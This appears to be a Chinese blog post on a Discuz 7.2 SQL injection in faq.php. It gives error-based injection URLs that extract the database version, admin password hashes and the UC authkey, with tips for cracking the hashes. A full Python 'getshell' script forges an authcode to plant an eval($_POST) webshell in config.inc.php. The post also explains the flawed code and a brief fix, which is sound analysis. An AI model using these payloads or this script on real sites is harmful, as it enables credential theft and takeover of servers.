博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
discuz /faq.php SQL Injection Vul
阅读量:5094 次
发布时间:2019-06-13

本文共 6650 字,大约阅读时间需要 22 分钟。

catalog

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

 

1. 漏洞描述

1. 通过获取管理员密码 2. 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字"1"例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff73. 通过uc_key获取shell4. 进入后台,添加插件获取webshell

Relevant Link:

http://sebug.net/vuldb/ssvid-87115http://sebug.net/vuldb/ssvid-87114

2. 漏洞触发条件

1.获取数据库版本信息http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 2.获取管理员账户密码http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 3.获取keyhttp://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23//通过error based injection报错获得注入信息

0x1: POC

import sys,urllib,time,math,base64,hashlib,urllib2#contant rawdef fg(kaishi, jieshu, wenben):    start = wenben.find(kaishi);    if start >= 0:        start += len(kaishi);        jieshu = wenben.find(jieshu, start);        if jieshu >= 0:            return wenben[start:jieshu].strip();#microtimedef microtime(get_as_float = False) :    if get_as_float:        return time.time();    else:        return '%.8f %d' % math.modf(time.time());#authgetdef get_authcode(string, key = ''):    ckey_length = 4;    key = hashlib.md5(key).hexdigest();    keya = hashlib.md5(key[0:16]).hexdigest();    keyb = hashlib.md5(key[16:32]).hexdigest();    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:];    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest();    key_length = len(cryptkey);    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string;    string_length = len(string);    result = '';    box = range(0, 256);    rndkey = dict();    for i in range(0,256):        rndkey[i] = ord(cryptkey[i % key_length]);    j=0;    for i in range(0,256):        j = (j + box[i] + rndkey[i]) % 256;        tmp = box[i];        box[i] = box[j];        box[j] = tmp;    a=0;    j=0;    for i in range(0,string_length):        a = (a + 1) % 256;        j = (j + box[a]) % 256;        tmp = box[a];        box[a] = box[j];        box[j] = tmp;        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]));    return keyc + base64.b64encode(result).replace('=', '');#getshell  def get_shell(url0,key,host):    headers={
'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url0 }; tm = time.time()+10*3600; tm="time=%d&action=updateapps" %tm; code = urllib.quote(get_authcode(tm,key)); url0=url0+"?code="+code; data1='''
http://xxx\');eval($_POST[qcmd]);//
'''; try: req=urllib2.Request(url0,data=data1,headers=headers); ret=urllib2.urlopen(req); except: return "error to read"; data2='''
http://aaa
'''; try: req=urllib2.Request(url0,data=data2,headers=headers); ret=urllib2.urlopen(req); except: return "error"; return "OK: "+host+"/config.inc.php | Password = qcmd"; #去掉/config/uc_config.php 为config.inc.php by niubl#define over#url from usersright = len(sys.argv);if right < 2: #note print ("============================================================"); print ("Discuz <= 7.2 Getshell"); print ("Wrote by Airbasic"); print ("Usage: py.exe " + sys.argv[0] + " http://localhost/dz"); print ("============================================================"); raw_input(""); sys.exit()url = sys.argv[1]; #gourl1 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";url2 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";#authkey1~31wy1 = urllib.urlopen(url1);nr1 = wy1.read();authkey1 = fg("'1:","' for",nr1);#authkey32~64wy2 = urllib.urlopen(url2);nr2 = wy2.read();authkey2 = fg("'1:","' for",nr2);#authkeyauthkey = authkey1+authkey2;#get username and password#none#over#get webshellurl0 = url + "/api/uc.php";host = url;print ("Wrote by Airbasic , GetShell Ok !");print get_shell(url0,authkey,host);raw_input("");

Relevant Link:

http://blog.csdn.net/yiyefangzhou24/article/details/36913287http://qqhack8.blog.163.com/blog/static/11414798520146711246279/

3. 漏洞影响范围
4. 漏洞代码分析

/faq.php

..elseif($action == 'grouppermission') {    ..    //首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids])    $groupids = array();    foreach($gids as $row)     {        //将数组中的所有值的第一位取出来放在groupids中        $groupids[] = $row[0];        /*        这里的安全漏洞在于        discuz在全局会对GET数组进行addslashes转义,也就是说会将单引号"'"转义成"\'"        所以,如果我们的传入的参数是: gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是"\",把转义符号取出来了        */    }    /*    在将数据放入sql语句前,通过implodeids函数对$groupids进行处理了一遍    就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'    这样就把原本的用于闭合的单引号给转义了,使得黑客的注入数据得以"逃逸",也就是产生的注入,我们把报错语句放在3这个位置,就能报错    */    $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");    $groups = array();    ..

Relevant Link:

http://simeon.blog.51cto.com/18680/1440000

5. 防御方法

/faq.php

elseif($action == 'grouppermission') {    /* 对$gids进行初始化 */    $gids = array();     /* */

Relevant Link:

http://www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXPhttp://simeon.blog.51cto.com/18680/1440000

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

转载于:https://www.cnblogs.com/LittleHann/p/4524773.html

你可能感兴趣的文章
1003 Emergency
查看>>
bm25
查看>>
Oracle 导入导出 创建用户等
查看>>
[转]JavaScript快速检测浏览器对CSS3特性的支持
查看>>
对接系统的一些思考
查看>>
exception from hresult:0x8000401A(excel文档导出)
查看>>
Linux常用命令
查看>>
Master选举原理
查看>>
Objective-C在ARC下结合GCD的单例模式和宏模版
查看>>
CSS 基础知识(认识选择器)
查看>>
[ JAVA编程 ] double类型计算精度丢失问题及解决方法
查看>>
Android Token的使用学习
查看>>
小别离
查看>>
★一张图弄明白从零维到十维
查看>>
Java开发学习心得(一):SSM环境搭建
查看>>
固定渲染管线与可编程渲染管线的区别
查看>>
MVC框架
查看>>
微信小程序-发起 HTTPS 请求
查看>>
<Java><!!!><面试题>
查看>>
oracle 11g 导出数据库时,出现空表无法导出问题解决
查看>>